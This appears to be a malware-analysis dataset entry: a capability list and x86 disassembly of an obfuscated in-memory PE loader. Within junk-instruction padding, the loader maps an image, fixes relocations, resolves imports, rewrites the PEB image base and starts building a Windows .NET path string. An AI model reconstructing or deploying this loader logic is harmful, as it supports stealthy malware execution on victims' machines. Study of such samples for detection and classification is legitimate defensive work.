Function at 0x408000
Capabilities:
Access peb ldr_data
Create thread
Encode data using base64
Enumerate pe sections
Get number of processors
Get process heap flags
Get process heap force flags
Inspect section memory permissions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
bswap edx
not eax
not ebx
rcr ebx, 6
neg eax
inc eax
add edx, 0xe
rcl ebx, 0x80
inc edx
not edi
bswap edi
and esi, 0xd7
and edi, 0xe
or eax, 0x90
rcl edi, 0x52
bswap eax
rcl edi, 0x67
rcl eax, 0x29
rcr esi, 0x3c
imul edi
mov esi, 0x38
and edx, 0x14
bswap eax
not ebx
neg edx
mov ebx, 0x3b
mov edx, 0xe7
mov edi, 0x5a
add edx, 0x58
neg edi
imul esi
neg edi
sub esi, 0xbb
imul ebx
dec edi
inc ebx
sub eax, 0xdf
inc eax
not edx
sub esi, 0x56
imul esi
dec ebx
add edx, 0xee
rcl edx, 0x40
neg esi
ror edx, 0x6c
neg eax
neg eax
or ebx, 0xa2
not ebx
or eax, 0xcf
mov eax, 0xca
dec esi
sub esi, 0x13
neg edi
and ebx, 0x52
inc edi
or ebx, 0x63
neg edx
not esi
inc edi
rcl eax, 0x10
neg edx
neg esi
inc ebx
bswap esi
dec esi
sbb esi, 0xbf
sub eax, 0xb5
mov eax, 0xcd
add esi, 0x3e
sub esi, 0xe7
imul esi
neg edx
sbb eax, 0x7c
and esi, 0xd
or esi, 0xec
not ebx
mov ebx, 0xf1
imul ebx
rcr ebx, 0x14
or ebx, 0x85
imul esi
inc edx
or eax, 0x18
not ebx
add edi, 0x70
add edi, 0xb2
ror esi, 0x1f
neg edx
inc edi
dec eax
bswap edi
bswap eax
rcr edx, 0xb7
neg esi
and edi, 0xec
ror eax, 0x38
not edx
add edx, 0xc3
dec eax
rol eax, 0x2f
dec esi
bswap edx
neg eax
rcr edi, 0xe8
rcr edi, 0xa1
not eax
or ebx, 0x75
or edx, 0x65
imul ebx
inc edi
sbb ebx, 0x32
neg edx
or edx, 0x2c
add ebx, 0xb7
mov edi, 0xe8
neg esi
dec edx
or edi, 0x40
rcr edx, 0x52
not edi
ror esi, 0xbe
neg eax
add esi, 0xe9
rcl edx, 0x6d
dec edi
dec esi
rcl ebx, 0x46
bswap esi
sbb esi, 0xe7
dec ebx
inc edi
inc ebx
inc ebx
sbb edx, 0x81
ror eax, 0xfe
bswap ebx
mov edx, 0x24
rcr edi, 0xf2
imul edi
neg ebx
inc edi
or ebx, 0xda
bswap eax
rcl eax, 0xa2
and esi, 0xaa
neg edi
or edx, 0x27
rcl ebx, 0x21
rcr edi, 0xf1
sub edi, 0x97
neg edi
dec esi
rcl esi, 0xa9
mov esi, 0x20
neg eax
add edi, 0x5a
and esi, 0xfa
sbb esi, 0x7d
or edi, 0x75
bswap ebx
dec eax
bswap edx
add edi, 0x9c
sub ebx, 0xdc
sub esi, 0x57
sub esi, 0x5a
not esi
rcl ebx, 0xcd
ror ebx, 0xad
or edx, 3
or esi, 0xcd
inc ebx
dec ebx
bswap edx
neg ebx
dec ebx
add esi, 0xd6
imul edx
rcl edi, 2
add edx, 0x4e
not eax
or ebx, 0x17
rcl esi, 0x4d
add eax, 0x18
dec eax
not edx
ror eax, 0x12
ror edi, 0x4b
or edx, 0x10
not esi
or ebx, 0xc2
dec esi
imul esi
sub esi, 0xdf
bswap edi
rol edx, 0x3f
inc eax
not edi
push 0x94400
push 0x40c008
call fcn.00401000
add esp, 8
mov dword [ebp + 8], 0x40c008
not edi
rol esi, 0x88
sub ebx, 0xc7
neg eax
dec esi
add esi, 0x7e
bswap ebx
dec edx
neg edi
add esi, 0xd7
dec eax
not edx
neg ebx
sub ebx, 0x52
mov ebx, 0xe
inc edx
neg ebx
rcl esi, 0xb4
add eax, 0x4f
or eax, 0x7e
rcl edx, 0x5f
neg eax
dec eax
add edi, 0x4b
add esi, 0xe0
rcr eax, 0x89
rol eax, 0x73
dec ebx
imul edi
and ebx, 0xc1
or edi, 0x65
ror ebx, 0x59
neg edx
inc edi
ror edi, 0x64
rcr edi, 0x54
inc ebx
bswap edi
rcr edi, 0x8e
sub eax, 0x75
sbb esi, 0xda
neg eax
inc esi
bswap edi
sbb eax, 0xcc
or esi, 0x22
and ebx, 1
neg esi
and eax, 0xf
rol edi, 0xbd
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc4], eax
mov ecx, dword [ebp - 0xc4]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x90], edx
mov eax, dword [ebp - 0x90]
cmp dword [eax], 0x4550
je 0x40831c
mov eax, 1
jmp 0x409920
mov ecx, dword [ebp - 0x90]
mov edx, dword [ecx + 0xa0]
mov eax, dword [ecx + 0xa4]
mov dword [ebp - 0xbc], edx
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
je 0x40834f
mov dword [ebp - 0x110], 0
jmp 0x40835e
mov ecx, dword [ebp - 0x90]
mov edx, dword [ecx + 0x34]
mov dword [ebp - 0x110], edx
push 4
push 0x3000
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax + 0x50]
push ecx
mov edx, dword [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0xb8], 0
jne 0x4083a6
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
cmp ecx, dword [eax + 0x34]
je 0x4083a6
mov eax, 2
jmp 0x409920
not edi
not eax
not edi
dec ebx
dec ebx
bswap eax
ror ebx, 0xd6
mov eax, 0x68
or edi, 0xc2
and edi, 0x6b
inc eax
or ebx, 0xb8
neg edi
and edx, 0xac
not edi
and edx, 0xbe
rcl edi, 0x4b
bswap edi
sbb edx, 0xa9
imul edx
sbb edx, 0x63
bswap edi
or edx, 0x83
rcr ebx, 0x69
rol edi, 0xc7
rol esi, 0xb2
ror ebx, 0x40
not edi
bswap esi
not eax
not ebx
dec esi
neg edi
rcr eax, 0xc9
not eax
sub ebx, 0xa2
neg eax
not eax
add edi, 0xc2
neg ebx
rol edi, 0x6f
rcl edi, 0x78
ror esi, 0xf5
neg edi
bswap ebx
sbb edx, 0xc
dec edx
inc edi
not edi
imul esi
push 0x400
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x8c]
push eax
call fcn.00401210
add esp, 0xc
add ebx, 0xe
ror edx, 0xd3
bswap ebx
dec eax
inc ebx
and esi, 0x3c
rol eax, 0x38
or esi, 0xce
mov edi, 0x73
bswap eax
dec esi
dec edx
neg edi
or edx, 0xad
rcl ebx, 0xdd
bswap eax
sbb edi, 0x39
mov ebx, 0xda
dec eax
inc edx
bswap edi
dec ebx
bswap esi
bswap esi
not eax
or eax, 0x2c
sbb ebx, 0xbb
dec eax
sbb ebx, 0x4c
bswap edx
imul ebx
ror eax, 0x7a
imul esi
add ebx, 0xee
bswap ebx
rcl eax, 0x74
inc edi
mov edi, 0xce
neg eax
rcl ebx, 0xe2
not edx
mov edi, 0x1b
imul eax
rcl edx, 0xbe
bswap edx
inc edi
add edx, 0xa
neg ebx
rol ebx, 0x38
rcl eax, 0xad
ror edi, 0x61
neg esi
dec edx
inc eax
or ebx, 0xf1
sbb eax, 0x5c
ror ebx, 0x99
not eax
ror edi, 0xf7
bswap edx
dec esi
neg eax
not esi
rcr eax, 0x28
sbb ebx, 0x6a
ror esi, 0x31
imul edx
rcr eax, 0x48
imul ebx
not edx
inc ebx
mov eax, 0x78
sbb ebx, 0xdd
inc edx
inc edx
dec ebx
not edx
neg edx
imul eax
rcl edi, 0x60
rcl eax, 0x9c
ror ebx, 0x87
neg edx
sub ebx, 0xab
inc edx
inc ebx
imul esi
rol eax, 0x7d
rcl edi, 0x97
neg ebx
sub edx, 0xc4
neg edi
sbb edi, 0xac
not edi
rcl esi, 0x10
inc edx
rcl edx, 0xf0
rcr ebx, 0x28
add ebx, 0x39
or esi, 0xfb
rol ebx, 0xcc
inc edi
ror edi, 0x44
rcl edi, 0xfb
sub edi, 0x7b
inc eax
imul esi
neg edx
rol ebx, 0xd9
not edi
bswap edi
rol eax, 0x2a
imul eax
rcr ebx, 0xb7
or esi, 0x90
dec edx
imul eax
ror esi, 0x59
inc ebx
rol edx, 0x2c
sbb edx, 0x4f
not eax
rcl eax, 0xe1
not eax
and esi, 8
rcl eax, 8
rol edi, 0x26
mov edi, 0x66
not edi
dec ebx
mov ebx, 0xcd
add eax, 0xd2
dec ebx
sbb esi, 0x83
inc ebx
imul edx
rol edi, 0xb7
not ebx
rcl edi, 4
bswap ebx
or edx, 0x60
or edi, 0x36
bswap ebx
or eax, 0x69
not esi
not edx
rol ebx, 0x6b
mov esi, 0x73
sub eax, 0x89
not edx
add esi, 7
dec edi
not eax
not esi
ror edi, 0xb1
not edx
inc ebx
dec ebx
or esi, 1
ror ebx, 0x74
ror eax, 0x3d
dec ebx
imul eax
and edi, 0x99
add esi, 0x86
add esi, 0xc5
rcl eax, 0xd6
and edx, 0x34
imul edx
dec esi
not eax
not ebx
inc eax
add eax, 0x52
not edi
mov edi, 0xf6
neg edx
bswap eax
imul edx
not edx
dec edx
not esi
neg ebx
neg edi
rcl eax, 0xfb
mov esi, 0xdc
sub esi, 0xd1
sub esi, 0x16
ror ebx, 0x78
ror edx, 0x56
rol edx, 0xef
sub esi, 0xff
or esi, 0xe6
inc eax
sbb ebx, 0x1d
mov eax, 0xdb
rol ebx, 0xae
sub ebx, 0xef
or edi, 0x8c
add esi, 0xe4
not edx
dec edi
or edi, 0x8b
or ebx, 0xa8
mov edi, 0xb0
inc ebx
neg edx
and eax, 0xce
or eax, 0xe8
inc esi
not esi
not esi
bswap edx
neg edi
not eax
imul esi
rol esi, 0xce
and edi, 0xc3
dec edi
neg esi
or esi, 9
imul edx
or esi, 0x56
inc edx
add edi, 0xb4
sub edi, 0xd4
neg edi
sbb esi, 0x80
or ebx, 0x13
inc ebx
inc esi
rcl edi, 0x91
ror esi, 0x44
dec edi
not eax
sub edi, 0x9d
not edx
imul edi
imul edi
rol eax, 0xd3
sub ebx, 0x40
add esi, 0x7e
ror eax, 0x8d
inc eax
rcr ebx, 0x57
bswap edi
rcr eax, 0x40
inc edi
dec eax
add edx, 0xbd
mov ecx, dword [ebp - 0x90]
movzx edx, word [ecx + 0x14]
mov eax, dword [ebp - 0x90]
lea ecx, [eax + edx + 0x18]
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0xc8], 0
jmp 0x40873a
mov edx, dword [ebp - 0xc8]
add edx, 1
mov dword [ebp - 0xc8], edx
mov eax, dword [ebp - 0x90]
movzx ecx, word [eax + 6]
cmp dword [ebp - 0xc8], ecx
jge 0x40879b
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax + edx + 0x10]
push ecx
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + edx + 0x14]
push ecx
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0xc]
push ecx
call fcn.00401210
add esp, 0xc
jmp 0x40872b
rol esi, 0x3a
imul edi
inc eax
add esi, 0x51
dec esi
rcr edx, 0x7d
imul eax
not edi
not ebx
bswap ebx
rcr esi, 0x65
bswap edx
not eax
bswap eax
rol ebx, 0xda
rcl edx, 0xfc
rol eax, 0x4f
rcr edx, 0x56
mov edi, 0xe3
rcr eax, 0x71
and ebx, 0xe7
not ebx
dec eax
sub edx, 0xdb
not edx
dec edx
inc esi
dec eax
bswap edx
or edi, 0xe2
rcl ebx, 0x9d
add edi, 0xa5
sbb ebx, 0xa
bswap ebx
mov eax, 0x8d
add esi, 0x6f
rol esi, 0x76
rcr ebx, 0xdb
imul esi
rcl esi, 8
rcl edx, 0x5d
not esi
rol edx, 0x8d
dec ebx
inc esi
imul ebx
inc ebx
rcr edi, 0x1c
sbb ebx, 0x4e
ror ebx, 0x98
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
cmp eax, dword [edx + 0x34]
je 0x408955
mov ecx, dword [ebp - 0x90]
mov edx, dword [ebp - 0x8c]
sub edx, dword [ecx + 0x34]
mov dword [ebp - 0xd0], edx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0xbc]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0xd4], 0
mov ecx, dword [ebp - 0xd4]
cmp ecx, dword [ebp - 0xb8]
jae 0x408955
mov edx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx]
mov dword [ebp - 0xd8], eax
mov ecx, dword [ebp - 0xcc]
mov edx, dword [ecx + 4]
sub edx, 8
shr edx, 1
mov dword [ebp - 0xdc], edx
mov eax, dword [ebp - 0xcc]
add eax, 8
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xe4], 0
jmp 0x4088ca
mov ecx, dword [ebp - 0xe4]
add ecx, 1
mov dword [ebp - 0xe4], ecx
mov edx, dword [ebp - 0xe4]
cmp edx, dword [ebp - 0xdc]
jge 0x40892f
mov eax, dword [ebp - 0xe0]
movzx ecx, word [eax]
sar ecx, 0xc
and ecx, 3
je 0x40891e
mov edx, dword [ebp - 0xe0]
movzx eax, word [edx]
and eax, 0xfff
mov ecx, dword [ebp - 0xd8]
mov edx, dword [ecx + eax]
add edx, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xe0]
movzx ecx, word [eax]
and ecx, 0xfff
mov eax, dword [ebp - 0xd8]
mov dword [eax + ecx], edx
mov ecx, dword [ebp - 0xe0]
add ecx, 2
mov dword [ebp - 0xe0], ecx
jmp 0x4088bb
mov edx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xd4]
add eax, dword [edx + 4]
mov dword [ebp - 0xd4], eax
mov ecx, dword [ebp - 0xe0]
mov dword [ebp - 0xcc], ecx
jmp 0x408866
rol edi, 0x81
neg eax
rcr edi, 0xd9
bswap edx
dec edi
neg esi
ror edi, 0x47
rol esi, 8
not eax
and edi, 0x6b
mov edi, 0
dec esi
imul edx
dec edi
bswap ebx
neg ebx
rcl ebx, 0xa3
inc esi
dec eax
mov edx, 0xf5
bswap ebx
inc esi
rcl esi, 0xe0
imul eax
not ebx
imul eax
imul ebx
ror edx, 0xa1
rcr eax, 0xf2
rcl ebx, 0xbb
neg ebx
sub edx, 0xec
add ebx, 0x7f
and edx, 0x11
dec ebx
imul ebx
neg ebx
or esi, 0x47
rcr ebx, 0x41
add ebx, 0x73
dec edx
add esi, 0xc5
neg ebx
ror ebx, 0xf6
ror edx, 0xc7
neg eax
mov edx, 0x73
bswap ebx
imul edi
dec edi
or eax, 0
mov edx, 0xf5
imul edi
imul edx
or edx, 0x89
not ebx
dec edi
rcl eax, 0xc4
inc edx
rcr esi, 0xae
neg eax
inc edx
imul edx
dec edx
bswap edi
ror ebx, 0x18
rcl edi, 0x44
not edx
dec esi
rcl edi, 0xb2
bswap edi
rcr ebx, 0xa
sbb edi, 4
rcr eax, 0x5e
dec eax
imul eax
rcl edi, 0x28
dec esi
rcl eax, 0xd3
bswap ebx
sbb ebx, 0x86
inc eax
rcr eax, 0x47
ror edi, 0xa4
and eax, 0x87
or edi, 0xd3
not esi
sub edi, 6
neg ebx
rcr eax, 0x3a
rcl eax, 0x1c
rcr esi, 0x74
ror eax, 0xf1
add edi, 0xea
add eax, 0x65
rol ebx, 0x7c
rcr eax, 0x29
neg edi
or eax, 0x5f
or edi, 0xae
inc edi
not edi
or ebx, 0x46
and ebx, 0xb0
neg edx
ror esi, 0x23
imul edx
rcr eax, 0x19
mov eax, 0x29
not edx
rcl ebx, 7
bswap edi
or esi, 0x1a
dec edx
dec eax
not esi
neg esi
bswap esi
mov eax, 0xd5
rcr ebx, 0x6d
rcl ebx, 0xc8
neg esi
not edi
inc esi
rol edi, 0xcb
imul edx
imul edx
neg edx
inc esi
rcl ebx, 0x3f
ror edi, 0x5d
neg edx
rol edi, 0xaf
neg edi
sbb eax, 0xb9
mov ebx, 0xd5
rcl edx, 1
add eax, 0x32
rol eax, 0x2e
or eax, 0x89
sbb edx, 0xae
not ebx
bswap edx
and ebx, 0x18
imul edi
inc ebx
mov esi, 0x90
mov esi, 0x63
ror edi, 0x32
neg edi
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + 0x80]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0xe8], 0
jmp 0x408b1b
mov ecx, dword [ebp - 0xe8]
add ecx, 1
mov dword [ebp - 0xe8], ecx
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
cmp dword [eax + edx + 0x10], 0
je 0x408c59
mov ecx, dword [ebp - 0xe8]
imul ecx, ecx, 0x14
mov edx, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + ecx + 0xc]
mov dword [ebp - 0xf4], eax
mov ecx, dword [ebp - 0xf4]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0
jne 0x408b72
jmp 0x408b0c
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0x10]
mov dword [ebp - 0xf0], ecx
mov dword [ebp - 0xf8], 0
jmp 0x408bac
mov edx, dword [ebp - 0xf8]
add edx, 1
mov dword [ebp - 0xf8], edx
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0xf0]
cmp dword [ecx + eax*4], 0
je 0x408c54
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x100], ecx
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xf0]
movzx ecx, word [eax + edx*4]
push ecx
mov edx, dword [ebp - 0xec]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0
jne 0x408c27
mov eax, dword [ebp - 0x100]
add eax, 2
push eax
mov ecx, dword [ebp - 0xec]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xfc], eax
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0x10]
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xfc]
mov dword [ecx + edx*4], eax
jmp 0x408b9d
jmp 0x408b0c
mov dword [ebp - 0x104], 0
jmp 0x408c74
mov ecx, dword [ebp - 0x104]
add ecx, 1
mov dword [ebp - 0x104], ecx
mov edx, dword [ebp - 0x90]
movzx eax, word [edx + 6]
cmp dword [ebp - 0x104], eax
jge 0x408d92
mov dword [ebp - 0x108], 0x40
mov ecx, dword [ebp - 0x104]
imul ecx, ecx, 0x28
mov edx, dword [ebp - 0x9c]
mov eax, dword [edx + ecx + 0x24]
mov dword [ebp - 0x10c], eax
mov ecx, dword [ebp - 0x10c]
and ecx, 0x40000000
je 0x408ce2
mov edx, dword [ebp - 0x10c]
and edx, 0x80000000
je 0x408ce2
mov eax, dword [ebp - 0x10c]
and eax, 0x20000000
je 0x408ce2
mov dword [ebp - 0x108], 0x40
jmp 0x408d49
mov ecx, dword [ebp - 0x10c]
and ecx, 0x40000000
je 0x408d0a
mov edx, dword [ebp - 0x10c]
and edx, 0x80000000
je 0x408d0a
mov dword [ebp - 0x108], 4
jmp 0x408d49
mov eax, dword [ebp - 0x10c]
and eax, 0x40000000
je 0x408d31
mov ecx, dword [ebp - 0x10c]
and ecx, 0x20000000
je 0x408d31
mov dword [ebp - 0x108], 0x20
jmp 0x408d49
mov edx, dword [ebp - 0x10c]
and edx, 0x40000000
je 0x408d49
mov dword [ebp - 0x108], 2
lea eax, [ebp - 0xa8]
push eax
mov ecx, dword [ebp - 0x108]
push ecx
mov edx, dword [ebp - 0x104]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax + edx + 8]
push ecx
mov edx, dword [ebp - 0x104]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0xc]
push ecx
call fcn.00401230
add esp, 0x10
jmp 0x408c65
rol ebx, 0xa1
imul esi
mov edi, 0x2d
imul eax
imul esi
dec edi
inc edi
rcr eax, 0xd3
or ebx, 0x3e
neg eax
sbb edi, 0x1c
bswap eax
add edi, 0x36
and eax, 0x2c
bswap eax
neg esi
sbb edx, 0x2a
sbb edi, 0x8d
rcr eax, 0xa6
sub edx, 0xb6
bswap eax
add esi, 0x60
not eax
and edi, 0x33
mov ebx, 0x10
imul eax
rcr edi, 0x5c
bswap ebx
bswap edx
inc edi
bswap edx
sub eax, 0x84
or eax, 0xb4
sbb esi, 0x4f
ror ebx, 0x6b
add eax, 0x91
add edi, 0x14
dec esi
or edx, 0x82
sub eax, 0x33
rcl esi, 0xb2
imul ebx
add eax, 7
not edi
rcl ebx, 0x66
rcr edx, 0xfe
rcl eax, 0x96
or edx, 0x38
and edi, 0xef
neg ebx
not ebx
not esi
add esi, 0xd8
not eax
rcl ebx, 0x24
sub edx, 0x96
rcl eax, 0x14
imul edi
dec ebx
imul ebx
rcr esi, 9
not esi
neg ebx
imul esi
rcl esi, 0x93
rcr edi, 0x9a
neg eax
imul edi
sub eax, 0x28
neg ebx
neg ebx
sub edi, 0xed
and edx, 0xaf
bswap edi
rol esi, 0xef
imul edx
inc esi
rol esi, 0x21
rcr edx, 0x40
dec eax
rcr esi, 0x1f
sub edx, 0x4a
rcr esi, 0x84
add esi, 0x48
bswap esi
neg ebx
not ebx
not esi
ror esi, 0x59
not edx
bswap edx
rcr esi, 6
sbb edi, 0x27
not ebx
rol edx, 0x60
or esi, 0x26
mov edi, 0x89
bswap ebx
add edx, 0x6b
neg ebx
bswap eax
mov eax, 0x46
sbb edx, 0xf4
add ebx, 0xff
neg edx
ror edx, 0x1c
imul ebx
neg ebx
imul eax
rol eax, 0x57
sub edi, 0x46
bswap edi
bswap edx
rcl eax, 0xb9
rcr eax, 0x28
rcl edi, 0xb3
neg eax
dec edi
add edi, 0x95
imul ebx
or esi, 0x71
sbb edi, 0x3b
not ebx
neg eax
ror ebx, 0x7d
rol ebx, 0x1b
sbb esi, 0x25
dec esi
add eax, 3
rcr edi, 0x7d
not edx
and edi, 8
rol esi, 0x64
and edi, 0xdd
rcr esi, 0x2e
mov eax, 0x19
not edx
imul edi
rol edi, 0x23
sub eax, 0x30
dec ebx
not eax
sbb edi, 0xfa
inc esi
dec ebx
inc edx
not edi
rcr edi, 0x94
inc esi
imul eax
mov edx, dword fs:[0x30]
mov dword [ebp - 0x94], edx
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
sub eax, 8
mov dword [ebp - 0x98], eax
bswap eax
mov eax, 0xe7
or edx, 0xb2
rcl edx, 0x87
not eax
add edi, 0xff
or ebx, 0xa0
and esi, 0xb7
rcr edx, 0x50
bswap edx
rcr eax, 0x5a
rcl esi, 0x59
inc edx
mov eax, 0x3b
dec eax
bswap edi
and edx, 0xb7
rcl esi, 0xe8
inc edi
bswap ebx
sub edi, 0xf8
bswap esi
sbb esi, 0x79
imul eax
dec eax
neg edx
inc eax
rcl eax, 0x75
bswap ebx
neg edi
dec eax
rcl esi, 0xfd
rol edi, 0xc
dec edi
imul edx
inc ebx
inc esi
mov esi, 0x75
or edx, 0xea
sbb edi, 0x8f
dec esi
not esi
dec edi
rol ebx, 7
imul eax
rcr edx, 0xdb
bswap edx
not esi
dec edi
mov edx, 1
sbb edx, 0x45
inc edi
add eax, 0xd8
sbb edi, 0xac
dec edi
mov esi, 0xe8
and ebx, 0x92
inc ebx
sub edi, 0x19
add ebx, 0xa0
bswap eax
ror edi, 0xfa
bswap edx
inc ebx
rcr esi, 0x73
bswap eax
mov edi, 0x28
or edi, 0x73
neg esi
mov eax, 0xb5
rol esi, 0xe1
neg esi
rcr edx, 0xc2
imul eax
mov edx, 0x75
neg eax
mov eax, 0xca
not esi
and edi, 0xe3
not edx
imul edx
neg esi
neg edx
sbb ebx, 0xe2
sub edi, 0xdf
dec eax
rcr edx, 0x2e
rcr ebx, 0x11
inc edi
dec eax
bswap esi
rcl edx, 0xa1
mov ebx, 0xf
or edi, 0xa6
rol edi, 0x52
sub esi, 0x33
ror eax, 5
sbb ebx, 0x28
inc edx
dec edx
neg ebx
sbb eax, 0x94
inc esi
or eax, 8
sub ebx, 0x15
imul eax
neg esi
not eax
imul eax
bswap esi
dec edi
not esi
neg eax
imul edx
or eax, 0x81
and eax, 0xdd
imul ebx
not edx
rcl ebx, 0xff
inc edx
dec esi
imul eax
dec esi
imul edi
inc eax
dec edx
add ebx, 0x8a
imul edi
not eax
add eax, 0xd5
dec eax
dec ebx
rcr edi, 0xe4
sub ebx, 0x8e
mov esi, 0x20
and esi, 0xbd
add ebx, 0x6f
ror eax, 0x47
rcl edx, 0x65
sbb esi, 0x39
rcl ebx, 0x67
add eax, 0xb1
inc eax
sbb edx, 0x65
not ebx
not edi
bswap ebx
dec edx
rcl edx, 0xa
inc edx
mov ecx, dword [ebp - 0x94]
mov edx, dword [ebp - 0x8c]
mov dword [ecx + 8], edx
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x8c]
mov dword [eax + 0x18], ecx
mov edx, dword [ebp - 0x98]
add edx, 0x24
mov dword [ebp - 0xa4], edx
neg esi
neg eax
sbb edi, 0xef
rcr eax, 1
and edx, 0xb2
bswap eax
dec edi
neg ebx
imul edi
bswap edx
sub eax, 0xd2
bswap edx
not edx
imul eax
bswap eax
and edx, 0x81
rcl edx, 0x1d
inc esi
sub edx, 0x11
or eax, 0x5e
imul ebx
sub edi, 0x62
sub esi, 0
bswap edx
imul ebx
neg edx
inc edx
rol edx, 0x80
sub edx, 0xc4
sub edx, 0x23
imul edi
bswap eax
mov esi, 0x68
sbb esi, 0x73
rcr edx, 0x21
sub eax, 0x4c
mov edi, 0xa8
rcr edx, 0x59
inc edi
sbb edi, 0xc6
mov edi, 0xca
and esi, 0xd
rol esi, 0x2f
rcl edi, 0x56
or edx, 0x6e
not edx
sub edx, 0x98
bswap edx
rol esi, 0x51
dec eax
or eax, 0xc7
dec esi
not eax
neg edx
dec ebx
imul ebx
and edx, 0xec
sub eax, 0xd1
rol ebx, 0x39
neg eax
neg edi
bswap eax
bswap edi
dec ebx
imul eax
rol edx, 0xb3
dec eax
and edi, 7
rcl eax, 0x18
rol edx, 0x67
sbb edx, 0xe8
sbb edx, 2
inc edx
rcl edi, 0x63
not edx
dec edi
rol ebx, 0x6e
not edi
rcr eax, 0xa0
mov ebx, 0x77
and edx, 0x6f
sbb edx, 0x53
mov edx, 0xca
neg eax
ror esi, 0xa1
rcl esi, 0x37
ror edx, 0xc9
bswap ebx
and edx, 0x28
inc edi
sbb eax, 0xc9
ror eax, 0x9a
dec edi
dec edx
neg esi
or ebx, 0xb0
rol esi, 0x99
imul ebx
bswap eax
rol ebx, 0xba
rcl edx, 0x28
rcl esi, 0xd3
sbb eax, 0x70
rol esi, 0xd4
add ebx, 0x10
rcl ebx, 0x5e
neg edx
inc edi
bswap edx
rcr ebx, 0xaf
not esi
not esi
and ebx, 0x18
bswap ebx
sbb ebx, 0x12
imul edx
dec esi
bswap esi
rcr ebx, 0x3e
bswap edi
not esi
bswap eax
sub ebx, 0x9d
bswap eax
dec esi
rcl ebx, 0xf3
add eax, 0x9a
sbb edx, 0x38
or ebx, 0x27
imul eax
and ebx, 5
imul eax
sbb edx, 0x28
and eax, 0x94
dec edx
not eax
rcr eax, 0x35
inc eax
rcl eax, 0xbd
mov edx, 0xd6
inc esi
rcr edx, 0x99
sub edi, 0xad
mov esi, 0x20
or esi, 0x42
imul eax
and edi, 0x4c
mov ebx, 0xc4
dec ebx
and edx, 0x6b
mov eax, 0x43
mov word [ebp - 0x88], ax
mov ecx, 0x3a
mov word [ebp - 0x86], cx
mov edx, 0x5c
mov word [ebp - 0x84], dx
mov eax, 0x5c
mov word [ebp - 0x82], ax
mov ecx, 0x57
mov word [ebp - 0x80], cx
mov edx, 0x69
mov word [ebp - 0x7e], dx
mov eax, 0x6e
mov word [ebp - 0x7c], ax
mov ecx, 0x64
mov word [ebp - 0x7a], cx
mov edx, 0x6f
mov word [ebp - 0x78], dx
mov eax, 0x77
mov word [ebp - 0x76], ax
mov ecx, 0x73
mov word [ebp - 0x74], cx
mov edx, 0x5c
mov word [ebp - 0x72], dx
mov eax, 0x4d
mov word [ebp - 0x70], ax
mov ecx, 0x69
mov word [ebp - 0x6e], cx
mov edx, 0x63
mov word [ebp - 0x6c], dx
mov eax, 0x72
mov word [ebp - 0x6a], ax
mov ecx, 0x6f
mov word [ebp - 0x68], cx
mov edx, 0x73
mov word [ebp - 0x66], dx
mov eax, 0x6f
mov word [ebp - 0x64], ax
mov ecx, 0x66
mov word [ebp - 0x62], cx
mov edx, 0x74
mov word [ebp - 0x60], dx
mov eax, 0x2e
mov word [ebp - 0x5e], ax
mov ecx, 0x4e
mov word [ebp - 0x5c], cx
mov edx, 0x45
mov word [ebp - 0x5a], dx
mov eax, 0x54
mov word [ebp - 0x58], ax
mov ecx, 0x5c
mov word [ebp - 0x56], cx
mov edx, 0x46
